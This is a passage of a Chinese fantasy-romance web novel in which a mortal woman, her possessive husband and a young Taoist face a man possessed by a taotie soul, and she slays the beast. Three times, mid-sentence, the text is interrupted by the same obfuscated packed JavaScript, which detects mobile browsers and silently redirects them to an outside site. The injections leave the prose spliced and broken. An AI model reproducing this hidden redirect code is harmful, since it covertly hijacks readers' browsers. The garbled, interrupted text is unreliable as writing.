“你、你们到底是谁?”男人脸上的泪痕还没有干透,他慌乱地往边上躲,“棺材怎么是空的!?” “这棺材本来就是空的,不过……”李安素打量他,“是你啊!你还记不记得我?” 男人一愣,却在触及她晶莹的瞳孔之时低下了头。 “哎,你看看我啊,那天在饺子店,你抢了我的饺子呢!”李安素赶紧比划,“你在这里哭,白天怎么没看见你?” 男人好半晌才回过神来,他胆子其实很小,龇牙咧嘴想要把她吓走,但李安素根本不怕。 男人名字叫刘照平,是饺子店老板的儿子,也是那天在饺子店的男人。 “我爹娘都死了,是被我杀掉的。”刘照平盯着棺材,绿色的瞳孔落寞垂下,“你们要把我抓到官府里去的话,就把我抓走吧。” “你这脸上……”李安素却只是看向他的脸,她吓了一跳,“你的眼睛……!是绿色的!” “砰——!”刘照平猛然站起来,直接推开了李安素,她摔在地上。 一道身影如电,撕裂了凝滞的空气。 他以绝对的保护姿态挡在了她面前,固执地和刘照平对峙。仿佛一道突然立起的壁垒,还带着疾奔而来的凌乱气息。 “别靠近她。”岐晔声音不高,带着深沉的冷漠,一双眼睛淬了毒,如同毒蛇。 刘照平瞬间移开视线,畏畏缩缩地躲开,“我没想要伤人。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691620|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 李安素盯着面前的背影,她连忙上前,“别别别!夫君你终于来了,这个公子就是饺子店的儿子,那天吃饺子那个,是好人!” “你看什么都像好人。”岐晔冷嗤一声,确定她没有受伤,才收起凌厉的气息。 许子修最后才到,视线一扫竟然看见了刘照平,他浑身僵硬,顿时握紧了手里的剑,怒吼一声:“李、李姑娘!快、快让开!这是个妖怪啊!” 他咬紧牙关,手里的剑猛然飞去,一张符纸瞬间贴在了刘照平额头上,“饕餮……” 许子修声音都在发抖,连话都说不清,他盯着眼前的刘照平,鼓起勇气才把话说清楚,“你是饕餮!我、我我我我见过!” 刘照平目光触及许子修手里的仙剑,他慌乱地往后退,身上四处钻出了绿色的毛发,妖化只是一瞬间。 刘照平,或者说这只是个饕餮,他边抖边退后,喉咙里发出怒吼:“来啊,不就是想要杀了我吗?!看看是谁能杀了谁?” 许子修双腿不停发抖:“我、我一定要把你收了,为民除害!” 李安素紧张地上前,想要阻止,谁知道岐晔毫不在意,只是盯着她:“出汗了,我们回去。” 李安素当然不会听,她依旧转过头看向那两人,“哎,不行!许道长和刘公子怎么办?” “你有什么办法?”岐晔拧眉,揽过她的肩膀,他瞥了眼许子修。 饕餮是上古神兽,尽管刘照平只是被饕餮的魂入了体,但要战胜许子修也是有可能的,他缓缓勾唇,这两个人死了谁都可以。 许子修始终记得李安素还在看着自己,他握紧剑的手不再发抖,而是带着毕生所学向饕餮奔去,急忙跃起,势不可挡。 “吼——” “许道长!住手!”李安素推开岐晔,却往地上一摔,发出一声巨响。 一枚不大不小的骨头砸在地上,溅起很高。 空气仿佛凝滞一般,转眼间,刘照平眼中的疯狂忽然冷静下来,取而代之的是慌乱。 “噗嗤——”血花四溅,许子修手里的剑已经刺进了刘照平的身体。 “娘——!”刘照平直愣愣盯着地上那块骨头,他不顾身上的伤口,跌跌撞撞爬过去,拖行一路还带着血迹,就连许子修也看呆了。 许子修手里的剑“砰”地一声砸在地上,他仿佛被抽干了灵魂,好半晌才反应过来自己做了什么。 “刘公子!”李安素吓坏了,扑在刘照平身边,手却不知道放在哪里。 血,很多血,仙剑的威力对于一个肉体凡胎的伤害很大,刘照平几乎整个人被泡在血中,他仰头看向李安素,“我也不想要这样的,你们杀了我吧。” “这具身体,我早就控制不了了,如果可以,我当时就不应该……咳咳咳!”刘照平嘴里涌出一口血。 “快别说了!”李安素焦急忙慌地四处张望,视线里伸过来一截布条。 那小少年蹲了下来,把布条绷紧,缠在刘照平的伤口上,又把布条的头部塞进了还在流血的肉里。 “这样能止血,他还不会死。”少年比划了一下,稚嫩的脸庞认真地映出李安素的脸。 许子修咬唇,梗着嗓子说:“是我的错,我会回师门承认错误,即便要付出惨痛的待见,我也难逃其责。” 把剑刺向百姓,许子修知道自己的修仙之路基本上是到头了。 荒郊野岭,野风呼啸而过,刘照平望着天上:“姑娘,在西边的树林里,一个月前,我的身体出现了变化,就是从那里开始的。” 他的脸上映出疲惫,李安素点了点头,“你说,还有什么?” 刘照平不再说话了,他的绿色眼瞳急剧收缩,他痛苦呻吟起来:“我爹娘都被我杀了……我本来就应该去死……” 几个人把刘照平的身体拖到一间茅草屋里,李安素走出门的时候,许子修已经不见了,只有岐晔还站在那里。 天上又开始下雪了,刘照平的身体已经相当虚弱,即便用了许子修带来的仙草也依旧没有好转。 “我们回去吧,你今天想吃什么?”岐晔勾唇,言语中浸透着几乎要把人溺死的温柔。 可李安素听得只是遍体生寒——她身上还有血,刚才看见那样惨烈的事情,她的夫君却还有心情问她要吃什么。 李安愫从心底打了个寒颤。 38. 饕餮 冰冷的手被岐晔捉住,他皱起好看的眉头:“先回去。” 李安素心不在焉,和他一起回了家里,温暖的柴火瞬间将她笼罩,身体瞬间回温,岐晔把她的手拉过去,泡在温暖的水中。 “先洗手。”岐晔低头,水盆里四只手,他只需要稍稍屈指就能把她的手包裹起来,他打开女孩的每一根手指,将指缝的血迹清洗干净。 直到水盆里的水变得透明,他才松开手,独自走进厨房里。 厨房里响起开炉烧火的声音,李安素只觉得浑身冰凉,她的视线落在门上——那里上了锁。 岐晔弯腰,看着锅中冒着泡的汤,把切好的菜一一放进去,他一边做一边对照着桌上的食谱。 他如今和凡人无异,想把菜做好也要看菜谱,李安素这段时间精神紧绷,他又放了点天山泉水压制魔气。 他动作不算快,他不担心李安素会离开,直到端着菜走出来,果然看见李安素还坐着。 “吃饭了。” 李安素看向木桌,三菜一汤,卖相很好,岐晔的身影颀长,这仿佛就是一天再正常不过的夫妻生活。 她手里被塞了一双筷子,她张了张嘴,看着碗里被夹得满满当当的菜,“岐晔……” 岐晔抬头,“不是前段时间说想吃肉?快吃吧。” 李安素低着头:“吃完饭我们去哪里?” 岐晔思考了一会儿,屋子里静悄悄的,温馨、暖意融融,在这个冰天雪地里,这个屋子滋生出了无尽的暖意。 他唇角挑起从容的笑:“你好久没有练字了,今天先把书看完?” 过了不知道多久,桌子猛然被震动,汤碗里的澄净液体摇晃了一下,女孩站在桌前,“我不要!我不要待在这里,我要——” 李安素着急解释:“许道长一个人查案肯定不安全,还有刘公子——” “……许道长,刘公子,你哪儿来那么多事情,你只要围着我转就行了。”男人冷漠的声音像是浸透着极寒坚冰,空气温度瞬间降下来,那点温馨都一扫而空。 李安素的声音忽然消失在喉咙里,她对上男人沉静如水的眼眸,毫无波澜,仿佛她在无理取闹。 “你说什么啊?”李安素抖着嗓音。 “没什么,我只是有些累了。”岐晔甚至露出了一个笑。 他低头搓了搓手指,一道不大不小的伤口在手指上盘亘,在那双白皙的手上尤其刺目,李安素呼吸一滞,“你受伤了!” 李安素走过去,抓着岐晔的手,“怎么弄到的!?” 岐晔愣了愣,“这伤口不深,我不疼……” “不行!还在流血呢!”李安素严肃道,语气带着急切,“什么时候弄到的?我怎么都不知道?” 李安素的力气很大,把原本不疼的伤口都挤压得裂开,眼见着又有血流出来。 岐晔扯了扯嘴角,把自己的手抽回来:“可能是刚才做饭弄到的吧。” 李安素转身去翻找纱布,就听岐晔的声音幽幽传来:“也可能是被饕餮弄到的,反正你也不关心。” “我关心!”李安素站起来,手里还握着纱布,因为她的分心,纱布“哗啦”一声全掉在了地上,她只好捏着没被污染的那一截,仔细缠在岐晔手指上。 她包扎得不好看,粗糙地把男人细长的手指包起来,好不容易才止住了血,她抬头,就看见岐晔正在看自己。 “我是不是不该绑住你,你走吧,我一个人也可以的。”岐晔低着头,看着手指,“不过我还有点痛,你可不可以等一会儿再走?” 男人的眼眸深邃、漆黑,深深倒映着李安素的身影,她一句话都说不出来,全都堵在喉咙里。 “我不走了。”她握住岐晔好的那只手,“我不走了,我一会儿洗碗,你别再把自己弄伤了。” 岐晔勾唇:“那许子修怎么办?” “许道长神通广大,不需要我一个凡人的帮助,但是你不一样,你需要我,我——” “咚咚咚!”话音刚落,房门忽然被用力敲响,门外响起许子修的声音。 “李姑娘!那些骨头我找到了,可刘公子不见了!”许子修焦急地喊。 片刻后,面前的房门被打开,对上里头岐晔冷漠的神情。 “许道长!”李安素探头出来,“刘公子怎么不见了!?他在哪里不见的?” 岐晔抿唇,看着李安素认真的侧脸,一股无名的烦躁涌上来。 李安素飞快转身,从桌上抓了自己的小包,从岐晔身边冲出去,她匆忙回头:“岐晔,你不要洗碗,我马上就回来!等我!” 许子修跟在李安素身边,临出院子还回头看了眼,岐晔只身站在阴影里,不知道在看什么。 李安素头也不回,直接上了马车,两个人直奔向西边的树林。 人走了,空气里唯一剩下的味道消失了,岐晔吐出一口气,他闭上眼睛。 “啪!”桌上的茶盏忽然碎裂,茶水顺着桌子奔泻,“滴滴答答”的声音响起。 岐晔面色平静,看了眼没被动过的饭菜,手腕上青筋浮现。 * “李姑娘,咱们这个马车是不是太快了?”许子修紧紧抓着马车的窗户,往外面看了眼。 西边的树林是长安城最荒凉的地方,如今已经日落,周遭的空气更加寒冷,就连许子修都不禁害怕。 李安素抿唇,看着树林深处的一道幽绿光芒,“那就是饕餮吗?” 她抬头望着眼前的庞然大物,她是如此渺小,却丝毫没有恐惧,相反,她的内心异常平静。 “吼——!”一道嘶吼声从树林深处传来,许子修循声望去,瞬间被吓破了胆,他摔下马车,滚了好几圈。 “我、我的祖师奶奶!”许子修抖着手,看着眼前的东西,蹲在地上就开始翻书。 “都什么时候了,你还看书?”李安素讶异。 饕餮是上古凶兽,在凡间并不常见,不少修道之人想来碰碰运气,他们已经算是来得迟的了。 不少修者御剑飞在空中,手里握着各式各样的法器,不过死伤惨重,那饕餮嘴里叼着半个人的身子,上半身已经吞了进去。 “这、这饕餮是五十万年的……”许子修咽了咽口水,“李姑娘,不如我们还是回去吧……我只打得过它的一半……” 李安素拧眉,握紧了拳头,“刘公子很可能在里面。” 许子修盯着自己的书,“刘公子只是饕餮魂魄入体,远远达不到吃人的程度,长安城有这么一只凶兽,吃了那些人的,很可能就是它……” 话音刚落,一把骨头从半空中掉了下来,刚好砸在李安素脚边,她盯着那人的骨头,血肉模糊,骨头上的经脉甚至还在跳动。 “一定就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710436|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是它……”她的声音透着恨意,一把拉过许子修的手腕,用力避开天上砸下来的尸体。 “嚯……”许子修缩了缩脖子,鼓起勇气挡在李安素身前,从口袋抽出一张符纸,嘴里振振有词:“我是仙家弟子,我应该站在前面!” 那张符纸飞也似的贴在了他的剑锋上,一道雷鸣在头顶聚集。 许子修眼中皆是恐惧,他腾空跃起,一个翻身骑在了饕餮的背上,他高高扬手,一剑刺进饕餮的头颅。 “哗啦——” 鲜血如注,饕餮的血浆如雨一般落下来,许子修的身子被甩了下来。 “许道长!”李安素握紧拳头,连忙挡在许子修身上,整个人也暴露在了饕餮的视野中。 耳边不断传来呼啸风声,凌厉的夜风刮过耳边,李安素的脸通红一片,她低垂着脑袋,止不住地发抖。 身后开始滴滴答答地流下血,她匆忙回头,对上饕餮那双幽绿的竖瞳,不知何时,它已经到了自己身后。 “别过来……”李安素颤抖着手,却直起了背脊,她的手撑在地上,不慎划破了自己的手腕。 许子修那把剑就在面前,李安素抿唇,心一横直接握紧了剑,她孤身一人站起来。 日落之下,李安素连牙关都在发抖,抬着手将剑挡在自己面前。 “吼——”饕餮的吼声将林梢的鸟兽都惊动了,它张开嘴,纤长而有力的尾巴直接甩向她。 李安素握紧了手里的剑,仅凭着自己的力量跳起来,用力砍下去,直接将饕餮尾巴划开一条血痕。 幽绿的血液滴滴答答,沿着剑锋打湿了李安素的袖子,她连忙将身体往旁边一滚,避开饕餮的攻击。 “咳咳咳……” 可下一刻,饕餮庞大的身体直接冲了过来,眼见着就要压下来,李安素瞪大了双眼。 耳边一阵鸣响,李安素什么都听不见,她抬头,一道身影不知从哪里闪过来的,严严实实挡在了自己面前,遮住了她面前大半的光影。 “你……”李安素一愣,看见这人的脸。 谢问道拧眉,一转头发现是她,她瞬间就看透了李安素的内力,“是你,你不认识我了?” 李安素一愣,还没明白过来,饕餮的尾巴已经再一次劈了过来,直接抽在了她的身边,碎石飞溅,血肉模糊。 谢问道额头冒出汗水,两根手指比在自己身前,保护光环笼罩在李安素周身,“握剑的姿势都不对,你一个凡人,半点内力都没有,还敢和饕餮动手?” 李安素轻咳几声,咳出一口带血的唾沫,“我会不会死?” 谢问道笑了下,上下扫视一圈,“你拿的是许子修的剑吧,他的剑可以斩魔,不过他这个废物倒下了,要不你来?” 李安素不可置信,她低头盯着那把剑,“我不行的……” “别说那么早,那些修道的,不过都是贪图名声之人,你不一样。”谢问道不屑地望着那些前赴后继的人,几乎都被饕餮吃掉了。 豆大的汗水滴滴答答掉下来,滴在干燥的土地上,李安素用力抬起剑柄,将自己浑身的力量都注入那把剑,仿佛能感觉到剑的力量。 谢问道勾唇,欣赏道:“闭上眼睛,不要看它,你能知道它在哪边。” 李安素咬唇,颤抖着闭上眼睛,纤长的睫毛上布满了汗水,手里的剑用力劈向饕餮的头顶。 39. 红衣 “砰——”锋利的剑划开了饕餮的皮肉,刺耳的声音在耳边响起,李安素心中的恐惧被力量吞没,她凭借着自己的内心,将所有力量集中在手上。 一股血红的光芒在幽绿的血液中穿梭,幽绿的血像是雨水一般落了下来,她也终于看见了,看见了饕餮骨头缝隙里即将被吞没的身影。 刘照平半个人已经被饕餮吞没,他几乎已经没有意识,睁开眼睛的缝隙却看见了向他冲过来的人。 “刘公子!”李安素怒吼一声,红色的法术光芒萦绕在周身,她用力大喊:“刘照平!” 她扑过去,将铺天盖地的妖气劈开,握紧刘照平的手腕,将人一把拽了出去。 谢问道皱着眉头撑在地上,她不仅要护着许子修,还要救下不停四窜的人,片刻后,一具身体被扔了出来。 天上发出隆隆声,大雨滂沱,将所有血冲散,李安素孤零零站在雨幕中。 雨水透着白色,笼罩在身上,一道浅白色的光幕将她稚嫩倔强的脸庞勾勒出来,她抿唇,转头。 终于,有个人站在不远处,她一眼看见了那个熟悉的身影。 素白色的伞面缓缓上移,露出那张清凌凌的脸,男人面无表情地立在那里。一双眼睛令人看不清神色,什么都没说。 “岐、晔。”李安素张了张嘴。 身后响起谢问道的声音:“他暂时没事了,你——” 谢问道一眼看见了隔着雨幕远远相望的两人,她愣了愣,才想起这个男人是她的丈夫。 “砰。”剑落地的声音响起,原本还站在那里的人已经不见了,滂沱大雨里,一身红衣的女子停在了岐晔面前。 “岐晔!”李安素微微喘息,像是才回过神来,她左看右看,“你有没有事?你有没有受伤?” 她握紧了男人的手臂,湿漉的手冰凉,连身上都开始结冰,在靠近男人的一瞬间,被他身上的温热气息感染。 “脏死了。”岐晔扯了扯嘴角,嘴上这样说,却反手握紧了她的手,“现在可以回去了吧?” 伞面缓缓倾斜,挡住了所有风雨,连冷风都吹不进来,她被搂紧怀里,身上红的绿的血都擦在了他素白的衣服上。 “不脏的,我不脏的。”李安素重复道,被用力带着往前走,期间她想要回头看一眼,却被岐晔反手掰过头。 “看什么看。”岐晔头也不回,用衣袖擦干净了李安素的脸。 西边树林的饕餮现身,无数仙家弟子前去收服,最终斩杀饕餮的却是个来历不明的小丫头,这件事情很快就传遍了长安城。 “你是说,收服饕餮的是个凡人?” 惊修殿,碧血剑派几个长老相对而立,站在殿中的谢问道站了出来,“是,那个凡人是用许子修的剑斩杀的。” 碧血长老闭了闭眼,又睁开:“许子修,是蜀山那个吧,你少和他走一起,听说这一次还是你救了他。” 谢问道:“……是,弟子过去的时候刚好遇见。” 长老长叹一声,看向殿中悬挂的一副巨大的画像,看不清脸的红衣女子站在天雷滚滚的天地间,手里一把修长浑厚的刀刃。 “跪下,和你师尊请安,请罪。” 谢问道浑身一滞,看向那张画像:“师父,弟子不懂,自己到底做错了什么?” “你还敢问?你师尊平生最讨厌蜀山一派,你倒好,还觉得自己见义勇为了?” 谢问道:“……”她扑通一声跪在地上,心里却不是很服气。 见她跪下来,长老也不再训斥,正在走出去,却又听谢问道说:“师父!那凡人绝不是个简单人,弟子申请前去调查——” “你只管好好修炼就行,这一次的比武大会又输给了许子修,饕餮还让一个凡人收服了,你还不懂自己应该做什么吗?” 谢问道焦急地还想要解释,殿门却“砰”的一声关上,她只好跪正了,一转头看见那画像,心里更是来火。 只是她看着看着,竟觉得那画像上的身影与李安素重叠在了一起。 “疯了,我真的疯了。” 碧血剑的师尊,也就是画像上的女子,当年只是匆匆现身凡间,创立了碧血剑一派,她亲自写下的碧血剑谱已经丢失,如今传下来的都是后世再创的。 没有人知道这位师尊的姓名来历,只是碧血剑派圣地还残存着这位红衣师尊的一枚玉佩。 * 李安素一边理货一边听着那些人说饕餮的事情,心里美极了。 饕餮可是她砍死的! “你们说,这位女子到底是什么人啊?”一个男人凑近,眼睛滴溜溜地转。 “我怎么听说是一个男人?” 李安素把药筐放了下来,朗声说:“是个女子!” 几个人转头看过来,一脸疑惑:“你看见了?那天那么大的雨,谁都没看清。” 李安素清了清嗓子:“我……我猜的。” “害,也不知道是何方神圣,连饕餮都能收服了!”那男人瞪大了眼睛。 她笑了下,把药磨成粉末,直到店铺前的人都已经离开,日光逐渐亮起来,店铺前停下一个人。 “夫君!”李安素一笑,赶紧走了出来,拉着岐晔的手,“快点快点。” 她把位置空出来,“快点干活呀。” 岐晔放下手里的竹篓,弯腰把地上的东西扫了扫,把人参放进了药碾子里,缓缓用力,药粉的味道缓缓浸润了空气。 “我夫君真厉害,这些都给你了。”李安素笑眯眯地,把一整筐药都挪了过去。 岐晔没吭声,动作也快,做事的时候专注也沉默。 忽地,店铺前站了个人,一张银票伸了过来,李安素抬头,脸上瞬间溢满笑意:“许道长!” 许子修笑了下:“李姑娘,好久不见。” 自从饕餮被收服,李安素都已经半个月没见过许子修了,她连忙擦了擦手:“哎,许道长,你的伤口好了!?” 许子修弯着腰,笑眯眯地和她说话:“是啊,咱们修仙之人,哪儿有什么伤不伤的。” 站在许子修身边的一个师弟摸了摸鼻尖,歪头看着他,许师兄为了早点恢复,被师父骂了好几天,还吃了一大缸子补药,为何现在要说谎? 许子修看向身边的师弟:“你先去做自己的事吧,等有消息了,我会通知你的。” 同门师弟欲言又止,最后行了一礼才离开。 “蜀山的弟子都是一表人才啊。”李安素感慨道,又看向了许子修:“你要买什么药?” 许子修靠在墙边,笑了下:“不买药,就和你说说话。” “说话是吧。”岐晔走上前,不等李安素回应,他缓缓隔开了两人之间的距离,看向许子修。 许子修毕竟是个少年人,身形没有岐晔挺阔,个头也矮一截,气势方面更不用说。 许子修神色尴尬地退了退——刚刚竟没有发现这个男人也在。 “有什么要说的?”岐晔看向他。 许子修当然不管他,连忙看向李安素,“李姑娘,我有话对你说,单独的!” 李安素一愣,立即看向岐晔,后者气定神闲地站在那里,余光正瞟着她,仿佛毫不在意。 但是她逐渐也摸索出来了,岐晔这样子分明在意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16732113|184474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得要死。 “许道长,你有话直说吧。” 许子修摸了摸自己的鼻子:“那我就直说了,这段时间碧血剑派的人没有来找过你吧?我师父说绝不能让他们把你带走!” “碧血剑派的人没见到,一个不安好心的蜀山弟子,我倒是时常见到。”岐晔冷哼一声。 许子修拧起眉毛,刚想说话,却听得身后传来几声唢呐,几张惨白的纸钱吹了过来,伴随着香火味道。 李安素伸着脖子,一眼就看见了走在队伍最前头的刘照平,她一愣,瞬间明白了过来,“今天是刘公子双亲出殡的日子啊。” 那把白骨头最终被刘照平找到了,他走在队伍最前头,听着周围的人谈论,他毫不在乎。 “刘公子!” 忽地一声,把刘照平的意识唤回,他怔愣了好一会儿,才听出她的声音,却不知道她在哪一边。 周遭的声音太杂,他整个人都像是被叫了回来,连同灵魂一起,直到看见街道尽头,李安素冲他挥手。 李安素原以为刘照平没听见,把双手放在唇边作喇叭状:“刘照平——!” 刘照平抿唇走到她面前,他体内的饕餮残魂还在,这段时间经常发作,他就用小刀扎进心脏,反正死不了。 “刘公子,你受伤了!”李安素一眼看见他脖颈处的青紫,是他自己掐的。 刘照平只看了她一眼,就立刻跪了下来,当着所有人的面:“李姑娘,你救了我,我一生都记得。” 他的人侧脸绷得紧紧的,连肌肉纹路都看得见,这段时间他消瘦了不少,妖气发作的时候,他就咬紧牙关,说什么也不肯吃东西。 “吃吧。”李安素看出来,把一个馒头伸出去,把他扶起来。 馒头又热又软的触感,熨帖着他的心脏,仿佛把刘照平从地狱里拉了回来。 宽阔大街,飘扬着纸钱的送葬队伍前,他泣不成声。 岐晔警惕地盯着他,破天荒的,他开口说:“你要想改变它,而不是压制它。” 他抿唇,想起神界有些人会主动引入妖气,助力修炼,但他只是个凡人。 “事情已经发生了,你注定不能成为一个普通人。” 送葬队伍缓缓消失在视线里,李安素长叹一口气,看向岐晔,他甚至还系着磨药的围裙,沉静如水的眸子里,什么都没装住。 李安素愣了愣,叫了声他,后者低头看过来。 嗯,这下有了,漆黑的瞳孔里,清晰倒映着她的一颦一笑,李安素心放下来,“你今天怎么突然说这种话?” 岐晔撇了撇嘴:“我儿时……双亲都是被魔族杀害的,看见他就想起来了。” 李安素怔愣在原地,她很少听见他主动提起自己的双亲,或者说,岐晔很少说起自己的事情。 成婚这么久,她不知道男人的来历,不知道他的家世、家乡、文化……嫁给他,好像是嫁给了一张白纸。 “怎么了?”岐晔见她拉住自己,眼中都是好奇,“魔族是不是很讨厌?” 李安素站在原地,拉住他的衣袖,“即便如此,还是不。” 岐晔转头看过来,她从小生活在凡间和魔界的交界处,见过不少魔兽妖兽伤人的事情,却没有一丝恨意。 “才不呢,魔族只有个体没有群体,又不是所有魔族都该死,我不讨厌他们。”李安素看着自己的小店铺,“魔族还是神族,与我一个小人物有何干系?那些那些自以为是的神族又好到哪里去?” 岐晔不再说话,低头把磨好的药粉抖进药包里,和李安素一起,把药铺前的客人一个一个送走,直到月色降临。